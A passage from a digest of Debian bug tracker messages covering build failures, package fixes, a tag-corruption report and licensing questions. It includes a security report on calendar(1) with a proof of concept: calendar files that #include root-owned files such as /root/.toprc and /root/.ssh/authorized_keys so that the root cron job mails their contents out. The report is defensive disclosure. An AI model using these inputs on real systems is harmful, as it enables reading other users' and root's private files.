Bug#998212: easytag: overwrites tags containing UTF8 data with random rubbish

[Norbert Preining]

Package: easytag
Version: 2.4.3-4+b1
Severity: critical
Justification: causes serious data loss

Hi

it seems easytag has not arrived in the 20th century, since today it
deleted all tags of 3 CD releases containing compilations of Japanese
singers on my disk. All information that contained UTF8 code has been
destroyed. Easytag complained about "Cannot recode blabla to latin1"
(not surprising, it is utf8) and happily destroyed the complete tags
saving rubbish information.

I suggest removing this program from Debian since this is a serious data
loss issue.

Thanks

Norbert

-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.14.15+futex+ntfs3+zstd+intel+ (SMP w/8 CPU threads)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages easytag depends on:
ii  dconf-gsettings-backend [gsettings-backend]  0.40.0-2
ii  libc62.32-4
ii  libflac8 1.3.3-2
ii  libgcc-s111.2.0-10
ii  libgdk-pixbuf-2.0-0  2.42.6+dfsg-2
ii  libglib2.0-0 2.70.0-3
ii  libgtk-3-0   3.24.30-3
ii  libid3-3.8.3v5   3.8.3-16.3
ii  libid3tag0   0.15.1b-14
ii  libogg0  1.3.4-0.1
ii  libopus0 1.3.1-0.1
ii  libopusfile0 0.9+20170913-1.1
ii  libspeex11.2~rc1.2-1.1
ii  libstdc++6   11.2.0-10
ii  libtag1v51.12-1
ii  libvorbis0a  1.3.7-1
ii  libvorbisfile3   1.3.7-1
ii  libwavpack1  5.4.0-1

Versions of packages easytag recommends:
ii  gnome-icon-theme  3.12.0-4
pn  gvfs  
ii  yelp  41.1-1

Versions of packages easytag suggests:
pn  easytag-nautilus  

Bug#997136: asterisk: diff for NMU version 1:16.16.1~dfsg-2.1

[Hugh McMaster]

Control: tags 997136 + patch
Control: tags 997136 + pending

Dear maintainer,

I've prepared an NMU for asterisk (versioned as 1:16.16.1~dfsg-2.1). The diff
is attached to this message.

I require a sponsor to have it uploaded.

This is particularly urgent as unixodbc is about to enter a transition and
asterisk (which build-depends on unixodbc-dev) will need to be rebuilt.

Please let me know as soon as possible whether you will make the upload or
whether I should seek a sponsor via the Debian Mentors process.

Thank you,

Hugh
diff -Nru asterisk-16.16.1~dfsg/debian/changelog asterisk-16.16.1~dfsg/debian/changelog
--- asterisk-16.16.1~dfsg/debian/changelog	2021-08-06 23:35:20.0 +1000
+++ asterisk-16.16.1~dfsg/debian/changelog	2021-11-01 13:19:25.0 +1100
@@ -1,3 +1,12 @@
+asterisk (1:16.16.1~dfsg-2.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * Cherry-pick an upstream patch to remove the AC_HEADER_STDC macro from
+configure.ac. The macro is obsolete and a no-op with autoconf 2.70
+(Closes: #997136).
+
+ -- Hugh McMaster   Mon, 01 Nov 2021 13:19:25 +1100
+
 asterisk (1:16.16.1~dfsg-2) unstable; urgency=high
 
   * CVE-2021-32558 / AST-2021-008 (Closes: #991710)
diff -Nru asterisk-16.16.1~dfsg/debian/patches/configure_ac-stdc.patch asterisk-16.16.1~dfsg/debian/patches/configure_ac-stdc.patch
--- asterisk-16.16.1~dfsg/debian/patches/configure_ac-stdc.patch	1970-01-01 10:00:00.0 +1000
+++ asterisk-16.16.1~dfsg/debian/patches/configure_ac-stdc.patch	2021-11-01 13:12:25.0 +1100
@@ -0,0 +1,23 @@
+Description: Fix configure failure with autoconf 2.70
+ Cherry-pick an upstream patch from Asterisk 16.17.0-rc1 to remove the
+ AC_HEADER_STDC macro from configure.ac. The macro is obsolete and a no-op
+ in autoconf 2.70.
+Author: Jaco Kroon 
+Origin: upstream, https://code.asterisk.org/code/changelog/asterisk?cs=aa03d07a085d32dbc6b482aaa5215f539f60d771
+Bug-Debian: https://bugs.debian.org/997136
+Last-Update: 2021-11-01
+
+--- a/configure.ac
 b/configure.ac
+@@ -617,11 +617,6 @@
+   AC_MSG_ERROR([*** Could not find dirent header that defines 'DIR'.])
+ fi
+ 
+-AC_HEADER_STDC
+-if test "$ac_cv_header_stdc" != "yes"; then
+-  AC_MSG_ERROR([*** ANSI C header files not found.])
+-fi
+-
+ AC_HEADER_SYS_WAIT
+ if test "$ac_cv_header_sys_wait_h" != "yes"; then
+   AC_MSG_ERROR([*** POSIX.1 compatible sys/wait.h is required.])
diff -Nru asterisk-16.16.1~dfsg/debian/patches/series asterisk-16.16.1~dfsg/debian/patches/series
--- asterisk-16.16.1~dfsg/debian/patches/series	2021-08-06 23:35:20.0 +1000
+++ asterisk-16.16.1~dfsg/debian/patches/series	2021-11-01 11:41:48.0 +1100
@@ -35,3 +35,4 @@
 
 AST-2021-008-16.diff
 AST-2021-009-16.diff
+configure_ac-stdc.patch

Processed: asterisk: diff for NMU version 1:16.16.1~dfsg-2.1

[Debian Bug Tracking System]

Processing control commands:

> tags 997136 + patch
Bug #997136 [src:asterisk] asterisk: FTBFS: configure: error: *** ANSI C header 
files not found.
Added tag(s) patch.
> tags 997136 + pending
Bug #997136 [src:asterisk] asterisk: FTBFS: configure: error: *** ANSI C header 
files not found.
Added tag(s) pending.

-- 
997136: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997136
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#996145: The issue

[Daniel Leidert]

The problem is that executing exe/byebug fails:

RUBYLIB=. GEM_PATH=/build/ruby-byebug-tmDpwr/ruby-byebug-11.1.3/debian/ruby-
byebug/usr/lib/x86_64-linux-gnu/rubygems-integration/3.0.0:/build/ruby-byebug-
tmDpwr/ruby-byebug-
11.1.3/debian/.debhelper/generated/_source/home/.local/share/gem/ruby/3.0.0:/va
r/lib/gems/3.0.0:/usr/local/lib/ruby/gems/3.0.0:/usr/lib/ruby/gems/3.0.0:/usr/l
ib/x86_64-linux-gnu/ruby/gems/3.0.0:/usr/share/rubygems-
integration/3.0.0:/usr/share/rubygems-integration/all:/usr/lib/x86_64-linux-
gnu/rubygems-integration/3.0.0 exe/byebug
Ignoring byebug-11.1.3 because its extensions are not built. Try: gem pristine
byebug --version 11.1.3
Traceback (most recent call last):
2: from exe/byebug:4:in `'
1: from
/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require'
/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require':
cannot load such file -- byebug/runner (LoadError)


-- 
Regards,
Daniel Leidert  | https://www.wgdd.de/
GPG-Key RSA4096 / BEED4DED5544A4C03E283DC74BCD0567C296D05D
GPG-Key ED25519 / BD3C132D8B3805D1808123AB7ACE00941E338C78

https://www.fiverr.com/dleidert
https://www.patreon.com/join/dleidert


signature.asc
Description: This is a digitally signed message part

Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure

[Thorsten Glaser]

Dixi quod…

>contents of files that start with a cpp-able string *and* contain
>a tab somewhere after that (because calendar(1) does not call cpp(1)
>with -traditional-cpp, which is another minor bug in the port), but

I was mistaken, it does call it like that, and it does work:

#define·ssh·Nov·01→ ssh
#include·"/root/.ssh/authorized_keys"

bye,
//mirabilos
-- 
> Hi, does anyone sell openbsd stickers by themselves and not packaged
> with other products?
No, the only way I've seen them sold is for $40 with a free OpenBSD CD.
-- Haroon Khalid and Steve Shockley in gmane.os.openbsd.misc

Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure

[Thorsten Glaser]

Package: calendar
Version: 12.1.7+nmu3
Severity: serious
Tags: security
Justification: security
X-Debbugs-Cc: t...@mirbsd.de, Debian Security Team 

I was wondering how Debian’s calendar(1) packaging handled the
setusercontext(3) part, and after finding d/p/calendar_cap.diff
I see it just… does away with it õÕ

This allows wonderful information disclosure:

tglase@tglase-nb:~ $ cat .calendar/calendar 
Nov 01  Allerheiligen
#define Def Nov 01
#define Job Nov 01
#define Mem Nov 01
#define Usr Nov 01
#include "/root/.toprc"
tglase@tglase-nb:~ $ cat /root/.toprc
cat: /root/.toprc: Permission denied

↓   ↓   ↓

From: Reminder Service 
Message-ID: <20211031232839.c72361c3...@tglase-nb.lan.tarent.de>
To: tgl...@tglase-nb.lan.tarent.de
Date: Mon,  1 Nov 2021 00:28:39 +0100 (CET)
Subject: Monday's Calendar

Nov 01  Allerheiligen
Nov 01  fieldscur=AEhIOQTrspvuWbcdfgjyzlKNMX
winflags=65208, sortindx=10, maxtasks=0
summclr=6, msgsclr=6, headclr=7, taskclr=7
Nov 01  fieldscur=ABcefgjlrstuvyzMKNHIWOPQDX
winflags=62776, sortindx=0, maxtasks=0
summclr=6, msgsclr=6, headclr=7, taskclr=6
Nov 01  fieldscur=ANOPQRSTUVbcdefgjlmyzWHIKX
winflags=62776, sortindx=13, maxtasks=0
summclr=5, msgsclr=5, headclr=4, taskclr=5
Nov 01  fieldscur=ABDECGfhijlopqrstuvyzMKNWX
winflags=62776, sortindx=4, maxtasks=0
summclr=3, msgsclr=3, headclr=2, taskclr=3


This is *mildly* mitigated by the fact that you can only extract
contents of files that start with a cpp-able string *and* contain
a tab somewhere after that (because calendar(1) does not call cpp(1)
with -traditional-cpp, which is another minor bug in the port), but
I believe people can and will find creative ways to extract more.

/root/.wget-hsts can be used to see whether a given host was already
contacted, for example.

-- System Information:
Debian Release: 11.1
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 
'stable-debug'), (500, 'oldstable-updates'), (500, 'oldoldstable'), (500, 
'stable'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.10.0-8-amd64 (SMP w/2 CPU threads)
Kernel taint flags: TAINT_WARN
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/lksh
Init: sysvinit (via /sbin/init)

Versions of packages calendar depends on:
ii  cpp  4:10.2.1-1
ii  libbsd0  0.11.3-1
ii  libc62.31-13+deb11u2

calendar recommends no packages.

calendar suggests no packages.

-- Configuration Files:
/etc/cron.daily/calendar changed:
. /etc/default/calendar
[ x$RUN_DAILY = xtrue ] || exit 0
[ -x /usr/sbin/sendmail ] || exit 0
if [ ! -x /usr/bin/cpp ]; then
  echo "The cpp package is needed to run calendar."
  exit 1
fi
/usr/bin/calendar -a

/etc/default/calendar changed:
RUN_DAILY=true


-- no debconf information

Bug#995419: marked as done (rust-utf-8: autopkgtest regression: crate directory not found: /usr/share/cargo/registry/utf-8-0.7.6)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 23:19:40 +
with message-id 
and subject line Bug#995419: fixed in rust-utf-8 0.7.6-2
has caused the Debian Bug report #995419,
regarding rust-utf-8: autopkgtest regression: crate directory not found: 
/usr/share/cargo/registry/utf-8-0.7.6
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
995419: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=995419
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: rust-utf-8
Version: 0.7.6-1
X-Debbugs-CC: debian...@lists.debian.org
Severity: serious
User: debian...@lists.debian.org
Usertags: regression

Dear maintainer(s),

With a recent upload of rust-utf-8 the autopkgtest of rust-utf-8 fails
in testing when that autopkgtest is run with the binary packages of
rust-utf-8 from unstable. It passes when run with only packages from
testing. In tabular form:

   passfail
rust-utf-8 from testing0.7.6-1
all others from testingfrom testing

I copied some of the output at the bottom of this report. Indeed the
cargo/registry only has /usr/share/cargo/registry/utf-0.7.6/

Currently this regression is blocking the migration to testing [1]. Can
you please investigate the situation and fix it?

More information about this bug and the reason for filing it can be found on
https://wiki.debian.org/ContinuousIntegration/RegressionEmailInformation

Paul

[1] https://qa.debian.org/excuses.php?package=rust-utf-8

https://ci.debian.net/data/autopkgtest/testing/amd64/r/rust-utf-8/14941578/log.gz

autopkgtest [09:19:25]: test rust-utf-8:@:
/usr/share/cargo/bin/cargo-auto-test utf-8 0.7.6 --all-targets
--all-features
autopkgtest [09:19:25]: test rust-utf-8:@: [---
crate directory not found: /usr/share/cargo/registry/utf-8-0.7.6
autopkgtest [09:19:25]: test rust-utf-8:@: ---]



OpenPGP_signature
Description: OpenPGP digital signature
--- End Message ---
--- Begin Message ---
Source: rust-utf-8
Source-Version: 0.7.6-2
Done: Peter Michael Green 

We believe that the bug you reported is fixed in the latest version of
rust-utf-8, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 995...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Peter Michael Green  (supplier of updated rust-utf-8 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Sun, 31 Oct 2021 22:56:31 +
Source: rust-utf-8
Architecture: source
Version: 0.7.6-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Rust Maintainers 

Changed-By: Peter Michael Green 
Closes: 995419
Changes:
 rust-utf-8 (0.7.6-2) unstable; urgency=medium
 .
   * Team upload.
   * Package utf-8 0.7.6 from crates.io using debcargo 2.4.4
   * Set X-Cargo-Crate so the crate installs in the right place and
 the autopkgtest can find it. (Closes: #995419).
   * Disable benches that depend on nonexistent files.
Checksums-Sha1:
 2beb005d6edb252eb4a076eccd806a0cc640c3a1 2154 rust-utf-8_0.7.6-2.dsc
 c7dae1c10aaf341863e36eb26465b39b21cb3814 3072 rust-utf-8_0.7.6-2.debian.tar.xz
 cb593fbaa018ae0132a9ca9457525b9cfe5f74d2 7224 
rust-utf-8_0.7.6-2_source.buildinfo
Checksums-Sha256:
 4ebb892a0169232384f92d841d8d268aa03dbd228923cdf03c735f09ed877c93 2154 
rust-utf-8_0.7.6-2.dsc
 0adf4a7c1d0c9fa379957f983ef74df6ad7f681a335a0a8a1dcee82f6e259a5f 3072 
rust-utf-8_0.7.6-2.debian.tar.xz
 301115bb6f2ec92315a11243348876f9246bbdc0a85c33582e394b40bb02b4d0 7224 
rust-utf-8_0.7.6-2_source.buildinfo
Files:
 e2c82b56b73ff6fdd691e03c337929a8 2154 rust optional rust-utf-8_0.7.6-2.dsc
 e7b1898b4f01a3f1a1570b74dc16 3072 rust optional 
rust-utf-8_0.7.6-2.debian.tar.xz
 61b1a717613704dac6427ba8080e3efe 7224 rust optional 
rust-utf-8_0.7.6-2_source.buildinfo

-BEGIN PGP SIGNATURE-

iQJIBAEBCAAyFiEEU0DQATYMplbjSX63DEjqKnqP/XsFAmF/ICIUHHBsdWd3YXNo
QGRlYmlhbi5vcmcACgkQDEjqKnqP/XtdDQ/+O6hxmLuB2hW1QCD0K7EIEn/Cd0SY
H2cB3Je/CzXeNTmlY7qX1MAeYlCk+Q4kiZd+XyeeO+e0fzhLOZiQD236syu+sZHt
fElVsxXgwdD7YwZb6E6e1fKFzOthhAgl0svBCMgQUUB3ynXsRjB879uo6T+hGQ/E
mCjgKS7/x0JOVDlzztVrUXNhOmo7EW/7OS4SpFosu9AEPFG/Dqqyrosn3KvngWyi

Bug#998156: contains non-DFSG-free files

[Henry Cejtin]

Again, I don't think that that is anything used either in MLton
construction or use.
I would tink that if the license can be found and is good enough, like
the ckit stuff, it could go in
a MLton non-free package.  Otherwise, I guess just remove it.
Matthew?

On Sun, Oct 31, 2021 at 12:41 PM Ryan Kavanagh  wrote:
>
> On Sun, Oct 31, 2021 at 12:01:34PM -0500, Henry Cejtin wrote:
> > I would think that the right solution would be to move it into a
> > separate package, and that package would be part of the "non-free"
> > world in Debian.
>
> That would work from my point of view.
>
> While we're discussing non-free files, I've found the following
> problematic source files so far. Is there anything to indicate that they
> can be distributed at all, let alone under the HPND or some other free
> license? They're all benchmarks, so they could probably be dropped
> without too much impact...
>
> * benchmark/tests/md5.sml:
>   Copyright (C) 2001 Daniel Wang. All rights reserved.
>
>   The "All rights reserved" bit and the lack of any licensing
>   information makes me skeptical that the file can be distributed at
>   all. It could be replaced by Tom7's implementation if you want a
>   crypto benchmark:
>   https://github.com/LenaWil/tom7/tree/master/sml-lib/crypt/MD5
>
> * benchmark/tests/DATA/chess.gml:
>   Copyright Leif Kornstaedt, 2000
>
>   This looks like it was taken from an ICFP programming content
>   submission, with no clear licensing information:
>   https://www.ps.uni-saarland.de/helikopter/2000/
>
> * benchmark/tests/zern.sml
>   COPYRIGHT (c) 1998 D.McClain/MCFA
>
>   This looks like it was taken from
>   
> https://web.archive.org/web/20010215003107/http://www.azstarnet.com/~dmcclain/LanguageStudy.html
>   with no clear licensing information.
>
> I'll update this bug report with any other files I find.
>
> Best,
> Ryan
>
> --
> |)|/  Ryan Kavanagh  | 4E46 9519 ED67 7734 268F
> |\|\  https://rak.ac | BD95 8F7B F8FC 4A11 C97A

Bug#998205: plasma-desktop: unable to log into Plasma desktop

[Gary Dale]

Package: plasma-desktop
Version: 4:5.21.5-2
Severity: grave
Justification: renders package unusable

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?
after rebooting my computer, I am unable to log into my plasma desktop

   * What exactly did you do (or not do) that was effective (or ineffective)?
I can log into GGnome or XFXE, which lets me keep working but it's not ideal. 
Both slow me downn.

   * What was the outcome of this action?
   * What outcome did you expect instead?

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.14.0-2-amd64 (SMP w/24 CPU threads)
Locale: LANG=en_CA.UTF-8, LC_CTYPE=en_CA.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_CA:en
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages plasma-desktop depends on:
ii  accountsservice  0.6.55-3
ii  breeze   4:5.23.0-2
ii  kactivitymanagerd5.23.0-1
ii  kde-cli-tools4:5.21.5-2
ii  kded55.86.0-1
ii  kio  5.86.0-1
ii  kpackagetool55.86.0-1
ii  libaccounts-qt5-11.16-2
ii  libc62.32-4
ii  libcrypt11:4.4.25-2
ii  libglib2.0-0 2.70.0-3
ii  libibus-1.0-51.5.25-2
ii  libkaccounts24:21.08.0-1
ii  libkf5activities55.86.0-1
ii  libkf5activitiesstats1   5.86.0-1
ii  libkf5authcore5  5.86.0-1
ii  libkf5baloo5 5.86.0-1
ii  libkf5codecs55.86.0-1
ii  libkf5completion55.86.0-1
ii  libkf5configcore55.86.0-1
ii  libkf5configgui5 5.86.0-1
ii  libkf5configwidgets5 5.86.0-1
ii  libkf5coreaddons55.86.0-1
ii  libkf5crash5 5.86.0-1
ii  libkf5dbusaddons55.86.0-1
ii  libkf5declarative5   5.86.0-1
ii  libkf5globalaccel-bin5.86.0-1
ii  libkf5globalaccel5   5.86.0-1
ii  libkf5guiaddons5 5.86.0-1
ii  libkf5i18n5  5.86.0-1
ii  libkf5iconthemes55.86.0-1
ii  libkf5itemviews5 5.86.0-1
ii  libkf5jobwidgets55.86.0-1
ii  libkf5kcmutils5  5.86.0-1
ii  libkf5kdelibs4support5   5.86.0-1
ii  libkf5kiocore5   5.86.0-1
ii  libkf5kiofilewidgets55.86.0-1
ii  libkf5kiogui55.86.0-1
ii  libkf5kiowidgets55.86.0-1
ii  libkf5newstuff5  5.86.0-3
ii  libkf5notifications5 5.86.0-1
ii  libkf5notifyconfig5  5.86.0-1
ii  libkf5package5   5.86.0-1
ii  libkf5plasma55.86.0-1
ii  libkf5plasmaquick5   5.86.0-1
ii  libkf5quickaddons5   5.86.0-1
ii  libkf5runner55.86.0-1
ii  libkf5service-bin5.86.0-1
ii  libkf5service5   5.86.0-1
ii  libkf5solid5 5.86.0-1
ii  libkf5sonnetcore55.86.0-1
ii  libkf5sonnetui5  5.86.0-1
ii  libkf5wallet-bin 5.86.0-1
ii  libkf5wallet55.86.0-1
ii  libkf5widgetsaddons5 5.86.0-1
ii  libkf5windowsystem5  5.86.0-1
ii  libkf5xmlgui55.86.0-1
ii  libkworkspace5-5 4:5.21.5-3
ii  libnotificationmanager1  4:5.21.5-3
ii  libpackagekitqt5-1   1.0.2-1
ii  libphonon4qt5-4  4:4.11.1-4
ii  libprocesscore9  4:5.21.5-3
ii  libqt5concurrent55.15.2+dfsg-12
ii  libqt5core5a 5.15.2+dfsg-12
ii  libqt5dbus5  5.15.2+dfsg-12
ii  libqt5gui5   5.15.2+dfsg-12
ii  libqt5network5   5.15.2+dfsg-12
ii  libqt5qml5   5.15.2+dfsg-8
ii  libqt5quick5 5.15.2+dfsg-8
ii  libqt5quickwidgets5  5.15.2+dfsg-8
ii  libqt5sql5   5.15.2+dfsg-12
ii  libqt5widgets5  

Processed: unicorn: test failure with ruby 3.0 as supported version

[Debian Bug Tracking System]

Processing control commands:

> close -1 6.0.0-1
Bug #998202 [src:unicorn] unicorn: test failure with ruby 3.0 as supported 
version
Marked as fixed in versions unicorn/6.0.0-1.
Bug #998202 [src:unicorn] unicorn: test failure with ruby 3.0 as supported 
version
Marked Bug as done

-- 
998202: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=998202
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#998202: unicorn: test failure with ruby 3.0 as supported version

[Adrian Bunk]

Source: unicorn
Version: 5.5.3-1
Severity: serious
Tags: ftbfs bookworm sid
Control: close -1 6.0.0-1

https://buildd.debian.org/status/logs.php?pkg=unicorn=5.5.3-1%2Bb4

...
===
Failure: test_client_malformed_body(WebServerTest)
/<>/test/unit/test_server.rb:178:in `test_client_malformed_body'
 175: assert_equal 'hello!\n', next_client
 176: lines = File.readlines("test_stderr.#$$.log")
 177: lines = lines.grep(/^Unicorn::HttpParserError: .* true$/)
  => 178: assert_equal 1, lines.size
 179:   end
 180: 
 181:   def do_test(string, chunk, close_after=nil, shutdown_delay=0)
<1> expected but was
<0>
===
.E
===
Error: test_client_shutdown_writes(WebServerTest): Errno::EAGAIN: Resource 
temporarily unavailable
/<>/test/unit/test_server.rb:116:in `syswrite'
/<>/test/unit/test_server.rb:116:in `test_client_shutdown_writes'
 113: sock.syswrite("\r\n")
 114: sock.syswrite("%x\r\n" % [ bs ])
 115: sock.syswrite("F" * bs)
  => 116: sock.syswrite("\r\n0\r\nX-")
 117: "Foo: bar\r\n\r\n".each_byte do |x|
 118:   sock.syswrite x.chr
 119:   sleep 0.05
===
...
Finished in 14.218088077 seconds.
---
17 tests, 30 assertions, 1 failures, 1 errors, 0 pendings, 0 omissions, 0 
notifications
88.2353% passed
---
1.20 tests/s, 2.11 assertions/s
ERROR: Test "ruby3.0" failed. Exiting.
dh_auto_install: error: dh_ruby --install /<>/debian/unicorn 
returned exit code 1
make: *** [debian/rules:6: binary-arch] Error 25
dpkg-buildpackage: error: debian/rules binary-arch subprocess returned exit 
status 2


This seems to be already fixed in the version in experimental.

Bug#998201: ruby-commonmarker: test failure with ruby 3.0 as supported version

[Adrian Bunk]

Source: ruby-commonmarker
Version: 0.21.0-1
Severity: serious
Tags: ftbfs bookworm sid

https://buildd.debian.org/status/logs.php?pkg=ruby-commonmarker=0.21.0-1%2Bb1

...
Finished in 14.625775s, 18.8024 runs/s, 26.1866 assertions/s.

  1) Failure:
TestCommands#test_basic [/<>/test/test_commands.rb:8]:
--- expected
+++ actual
@@ -1 +1 @@
-""
+"I am strong"


  2) Failure:
TestCommands#test_understands_extensions 
[/<>/test/test_commands.rb:22]:
Expected false to be truthy.

  3) Failure:
TestCommands#test_understands_multiple_extensions 
[/<>/test/test_commands.rb:28]:
Expected false to be truthy.

  4) Failure:
TestCommands#test_does_not_have_extensions 
[/<>/test/test_commands.rb:13]:
Expected false to be truthy.

275 runs, 383 assertions, 4 failures, 0 errors, 0 skips
rake aborted!
Command failed with status (1): [ruby -w -I"test" 
/usr/lib/ruby/gems/3.0.0/gems/rake-13.0.3/lib/rake/rake_test_loader.rb 
"test/test_attributes.rb" "test/test_basics.rb" "test/test_commands.rb" 
"test/test_commonmark.rb" "test/test_doc.rb" "test/test_encoding.rb" 
"test/test_extensions.rb" "test/test_footnotes.rb" "test/test_gc.rb" 
"test/test_helper.rb" "test/test_linebreaks.rb" "test/test_maliciousness.rb" 
"test/test_node.rb" "test/test_options.rb" "test/test_pathological_inputs.rb" 
"test/test_plaintext.rb" "test/test_renderer.rb" "test/test_tasklists.rb" -v]

Tasks: TOP => default
(See full trace by running task with --trace)
ERROR: Test "ruby3.0" failed. Exiting.
dh_auto_install: error: dh_ruby --install 
/<>/debian/ruby-commonmarker returned exit code 1
make[1]: *** [debian/rules:10: override_dh_auto_install] Error 25



(m68k/sh4 in ports are building with nocheck)

Bug#984071: marked as done (jigdo: ftbfs with GCC-11)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 22:03:58 +
with message-id 
and subject line Bug#984071: fixed in jigdo 0.8.1-1
has caused the Debian Bug report #984071,
regarding jigdo: ftbfs with GCC-11
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
984071: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984071
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:jigdo
Version: 0.8.0-1
Severity: normal
Tags: sid bookworm
User: debian-...@lists.debian.org
Usertags: ftbfs-gcc-11

[This bug is not targeted to the upcoming bullseye release]

Please keep this issue open in the bug tracker for the package it
was filed for.  If a fix in another package is required, please
file a bug for the other package (or clone), and add a block in this
package. Please keep the issue open until the package can be built in
a follow-up test rebuild.

The package fails to build in a test rebuild on at least amd64 with
gcc-11/g++-11, but succeeds to build with gcc-10/g++-10. The
severity of this report will be raised before the bookworm release,
so nothing has to be done for the bullseye release.

The full build log can be found at:
http://people.debian.org/~doko/logs/20210228/filtered/gcc11/jigdo_0.8.0-1_unstable_gcc11.log
The last lines of the build log are at the end of this report.

To build with GCC 11, either set CC=gcc-11 CXX=g++-11 explicitly,
or install the gcc, g++, gfortran, ... packages from experimental.

  apt-get -t=experimental install g++ 

Common build failures are new warnings resulting in build failures with
-Werror turned on, or new/dropped symbols in Debian symbols files.
For other C/C++ related build failures see the porting guide at
http://gcc.gnu.org/gcc-11/porting_to.html

GCC 11 defaults to the GNU++17 standard.  If your package installs
header files in /usr/include, please don't work around C++17 issues
by choosing a lower C++ standard for the package build, but fix these
issues to build with the C++17 standard.

[...]
  |(
cachefile.cc:191:49: error: expected primary-expression before ‘>’ token
  191 |   unserialize4(lastAccess, static_cast(data.data) + ACCESS);
  | ^
cachefile.cc:191:62: error: no match for ‘operator+’ (operand types are ‘void*’ 
and ‘CacheFile::’)
  191 |   unserialize4(lastAccess, static_cast(data.data) + ACCESS);
  |  ~~~ ^ ~~
  ||   |
  |void*   
CacheFile::
cachefile.cc: At global scope:
cachefile.cc:206:1: error: reference to ‘byte’ is ambiguous
  206 | byte* CacheFile::insert_prepare(size_t inSize) {
  | ^~~~
In file included from ./config.h:217,
 from cachefile.cc:14:
/usr/include/c++/11/cstddef:69:14: note: candidates are: ‘enum class std::byte’
   69 |   enum class byte : unsigned char {};
  |  ^~~~
In file included from cachefile.cc:14:
./config.h:253:23: note: ‘typedef unsigned char byte’
  253 | typedef unsigned char byte;
  |   ^~~~
cachefile.cc: In member function ‘void CacheFile::insert_perform(const string&, 
time_t, uint64)’:
cachefile.cc:220:3: error: reference to ‘byte’ is ambiguous
  220 |   byte* buf = static_cast(data.data);
  |   ^~~~
In file included from ./config.h:217,
 from cachefile.cc:14:
/usr/include/c++/11/cstddef:69:14: note: candidates are: ‘enum class std::byte’
   69 |   enum class byte : unsigned char {};
  |  ^~~~
In file included from cachefile.cc:14:
./config.h:253:23: note: ‘typedef unsigned char byte’
  253 | typedef unsigned char byte;
  |   ^~~~
cachefile.cc:220:9: error: ‘buf’ was not declared in this scope
  220 |   byte* buf = static_cast(data.data);
  | ^~~
cachefile.cc:220:27: error: reference to ‘byte’ is ambiguous
  220 |   byte* buf = static_cast(data.data);
  |   ^~~~
In file included from ./config.h:217,
 from cachefile.cc:14:
/usr/include/c++/11/cstddef:69:14: note: candidates are: ‘enum class std::byte’
   69 |   enum class byte : unsigned char {};
  |  ^~~~
In file included from cachefile.cc:14:
./config.h:253:23: note: ‘typedef unsigned char byte’
  253 | typedef unsigned char byte;
  |   ^~~~
cachefile.cc:220:31: error: expected ‘>’ before ‘*’ 

Bug#991650: marked as done (python-django-imagekit: FTBFS: dh_auto_test: error: pybuild --test -i python{version} -p 3.9 returned exit code 13)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 22:04:15 +
with message-id 
and subject line Bug#991650: fixed in python-django-imagekit 4.0.2-4
has caused the Debian Bug report #991650,
regarding python-django-imagekit: FTBFS: dh_auto_test: error: pybuild --test -i 
python{version} -p 3.9 returned exit code 13
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
